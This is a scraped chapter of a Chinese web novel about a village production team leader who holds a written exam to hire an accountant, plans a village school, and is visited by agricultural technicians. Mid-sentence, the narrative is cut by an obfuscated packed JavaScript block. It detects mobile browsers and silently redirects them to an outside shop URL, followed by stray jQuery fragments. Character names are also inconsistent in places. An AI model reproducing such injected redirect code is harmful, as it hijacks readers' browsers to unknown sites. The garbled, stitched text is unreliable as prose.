关于新任会计的事，雷壮其实也愁。


    不说别的，人选实在是少的可怜，谁让整个大队读过书的人屈指可数，让他们数数都数不明白，哪里能管一个大队的账目。


    这些日子他家里来的人只会比方澈的多，一个个搬出这亲戚那朋友的关系，试图打动他来讨个工作。


    雷壮也是烦不胜烦，这让他更想早些把会计给定下来。


    方澈就是这时候来找雷壮商量这事的，一听她说有建议，雷壮乐得眼睛都亮了，“你说说！”


    “书记，会计要管全队的账，不光要会写字算数，更要人品端正，我想选个读过书的年轻人，脑子活，也好培养。您看怎么样？”


    害......这道理雷壮哪里能不知道！只是去哪儿找这读过书的年轻人啊！


    迎着雷壮嫌弃的目光，方澈补充道，“经过我前段时间的了解，咱们大队的文盲率简直高到吓人，要么只读了小学就辍学了，要么就跟你家雷致远一样去县里或者公社里工作了，要在这里头找个有文化的人还真是有点难度。所以......”


    雷壮等得心急，“你就别卖关子了，赶紧说说！”


    “我计算组织一场笔试。”


    “笔试？”雷壮咀嚼了半晌才反应过来这个词的意思，“怎么组织？”


    “到时候我会出一份卷子，上面都是一些计算题和实际应用的题目，考试前三名进入面试，咱俩当考官，结合两场考试的成绩综合选出一位来。至少能保证这个人识字、会算数、基本的沟通交流能力是有的。”


    雷壮还是有些疑惑“咱这里头都是文盲，你确定有人愿意来考试吗？”


    方澈嘿嘿一笑，“您可别低估了会计这个美差对大家伙的吸引力！况且......我觉得咱们村里的文盲实在太多了，种地也是需要文化的！”


    她顺势又提出个建议，“我打听过，咱们村里不送小孩去上学是因为最近的村小离咱这太远，走路得走一两个小时呢，实在不方便，您看......要不趁这次机会咱自己开一个村小？”


    雷壮苦涩一笑，办村小这事他以前也想过，他辛辛苦苦把致远培养到县机械厂，太知道有文化的重要性的。可建场地、买桌椅、请老师......哪个不要钱，大队账上连买化肥农药都有些吃力，哪里有余力建村小！


    “这个您别担心，我们今年一定有钱！新香菇房一次出菇就能有几千斤，卖出去怎么也能收回几千块钱，到时候先拿去建村小就是了！”


    “这个你做主吧！”雷壮摆摆手，他也不知道方思君是不是在吹牛，但又不好打击她的积极性，先让放手让她试试再说，实在不行再另想办法。


    两人又叽叽咕咕商量了几个小时，把会计岗位考试的细节全都讨论完了，方澈这才心满意足地回去了。


    路上，方澈看到恰好在附近闲逛的邱良丰，吓得她赶紧躲在一栋房子的后头，等到他走了这才做贼似的偷偷溜回了家。


    晚上，方澈与左维东说起自己的打算，他一个向来不形于色的人居然特别赞同。


    “这个主意好！要是咱们的村小建好了，我第一个送小康去念书！”想了想，他又道，“你最近这么忙，不如考试的卷子我先替你拟一张，你要觉得不满意再改改。”


    方澈当然知道左维东的水平，十分信任地把这事交给他做了。


    第二天一早，队部门口的宣传栏上就贴出了公开选聘会计的公告，刚贴出去没一会儿，就被密密麻麻的人群给围住了，大部分人连字都认不全，全靠最前头那几个一边看一边解释。


    “这笔试是什么意思？”有人不解。


    站在前头那个识字的年轻人解释道，“就是要写字做题，这上面说了，凡是咱们大队的社员，年龄在18岁到50岁，认得字、会算数的，都可以报名参加！”


    “啧，我都一大把年纪了还要跟个学生娃似的去考试？这小方队长在搞什么呢！”


    “就是，要是考出来个零蛋，那我这张脸还往哪里搁哟......”


    立刻有人调侃他，“雷繁荣你考零蛋也不稀奇吧，大字不识几个，你光是题目就看不懂了吧......”


    人群中立刻响起嘲笑声。


    雷繁荣也不恼，老神在在道，“我是文盲，可我家姑娘不是，我今天就让她过来报个名，要真能考上，我可就是会计她爹了！”


    立刻有人疑惑，“姑娘也能报名？”


    还是前头那个年轻人点点头，“这上头没说不让女的报名。”


    “成，那我让我家姑娘也来试试！”


    “你家姑娘行，那我家小子就更行了，我也让他过来试试！”


    原先大家还都在质疑方澈的这个选聘公告，没一会儿功夫，演变成了几个家长比较起自家儿女的场面了。


    才第一天，方澈就收到了十来个人的报名申请。


    她和老雷一起仔细看了看，虽然大部分人都是来碰碰运气的，但如果真能从里面选出一两个好苗子，那么这次的选聘就值了。


    小乐和晓燕也想报名，但她俩都还没满18岁，只好老老实实继续待在香菇房里照看香菇。


    方澈安慰她俩，“你们就专心做好工作，想当会计以后有的是机会，如果咱们的香菇达到了一定规模，那就必须招会计和出纳了，到时候我就推荐你俩。”


    那敢情好！两个小姑娘干起活来更起劲了。因为扩大了规模，今年香菇房里又多招了三个人，其中一个就是之前建香菇房十分卖力的雷耀。


    因为方澈提前在自己的种植箱里培育好了菌丝，这段时间只需要配好培养基就可以把菌丝移植进去，说着简单，但要确保在移植过程中不让杂菌有可乘之机还是一件十分有技术含量的事情。


    小乐和晓燕两个“熟手”不敢轻易放手，就算不是自己移植也全程盯着。


    每个人都忙得不可开交。


    中途还迎来了第一批客人，就是之前方澈在农技站见过的技术员。


    原本方澈还以为他只是随口一说表示客套，哪里想着人不但来了，还十分郑重其事，不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754831|185213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但自己过来了，还带了好几个同事和一些设备。


    “陈技术员，您真的来了？欢迎欢迎！”方澈连忙在围裙上擦了擦手，迎了上去。


    几十元笑呵呵打量着焕然一新的香菇房，眼中满是赞赏，“小方队长，你这动作可真快啊！你这菇房建的不错，比我们农技站的示范棚也不遑多让啊！”


    另外两位技术员也十分感兴趣，凑近了些看。当他们看到几个人熟练又谨慎的操作，看到那洁白浓密的菌丝时，更是露出了惊讶的神色。


    “你们都已经能自己培育出品相这么好的菌丝了？”一位技术员蹲下去，仔细查看左小乐刚刚移植完成的一个菌包，语气中带着一丝难以置信，“这菌丝长得很好，纯度高，活力足！小方队长，你这手艺可真是这个！”他不由伸出大拇指。


    原本陈技术员跟他们说有个生产队自己种出了香菇这事时，他们都是抱着看乐子的心态一起过来的，没想到，是他们狭隘了，居然真的有人能够靠自己培育出香菇来！


    这可真是太厉害了！


    临走前，几位技术员商量，“这大菇房里以后的出菇量也了不得，等到成熟了一次性能卖成百上千斤，光是咱们公社甚至县里都不一定能快速消化。老张你是不是有个在日报社当记者的朋友，要不咱帮着联系联系？”


    张技术员没有多犹豫，很爽快地就答应了下来，“成，我先去联系联系。”


    陈技术员把这事与方澈商量时，她忙不迭答应了下来，种菇难，但更重要的是能够把香菇卖出去，赚到钱。


    “虽说我们也不一定能帮的上你们，但如果有需要，尽管来找我们！”陈技术员真诚道。


    “好好好！”方澈由衷感谢，“你们已经帮了大忙了！等这一批香菇长好了，我带一些过来让大家尝尝，可好吃了！”


    日报记者来的这天，恰好是雷公山生产队组织会计选聘笔试的时候。


    原本记者是想先去香菇房看看种植情况的，当被人告知方队长正在考场里，她瞬间就来了兴趣，让社员把他们带去考场看看。


    几个人远远就看到一间黄泥屋子墙上贴着几张大字，“会计选拔考试”几个大字格外夺人眼球。


    “哟，就这么一个生产队的会计还要通过考试来选拔，这可真是有点意思呢！”一行人兴致盎然地走近，透过窗户，就看到方思君站在最前面大声强调纪律，屋子里密密麻麻坐了不少人，大部分是年轻人，但也有几个看着就上了年纪的。


    “咱们会做就是会做，不会做就是不会做，可千万不许去偷看边上人的，我们选的是会计，要是考试就会弄虚作假，我们怎么放心把队里的账目交给你算啊，是吧......”


    记者听了一会儿，走远了几步，拿起相机朝着窗户里头拍了一张照片。


    等到试卷分得差不多，里头的人也都在埋头做题时，方澈总算能够稍微松一口气，轻手轻脚地从教室里退了出来。她刚带上那扇吱呀作响的木门，一转身，就险些撞上站在门外不远处，正含笑看着她的几个人。